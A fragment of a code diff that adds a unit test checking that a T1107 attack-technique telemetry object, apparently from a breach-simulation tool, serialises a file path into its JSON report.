@ -20,3 +21,8 @@ def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry):
|
|||
expected_data = json.dumps(expected_data, cls=T1107_telem_test_instance.json_encoder)
|
||||
assert spy_send_telemetry.data == expected_data
|
||||
assert spy_send_telemetry.telem_category == "attack"
|
||||
|
||||
|
||||
def test_T1107_send__path(spy_send_telemetry):
|
||||
T1107Telem(STATUS, Path(PATH)).send()
|
||||
assert json.loads(spy_send_telemetry.data)["path"] == PATH
|
||||
|
|
Loading…
Reference in New Issue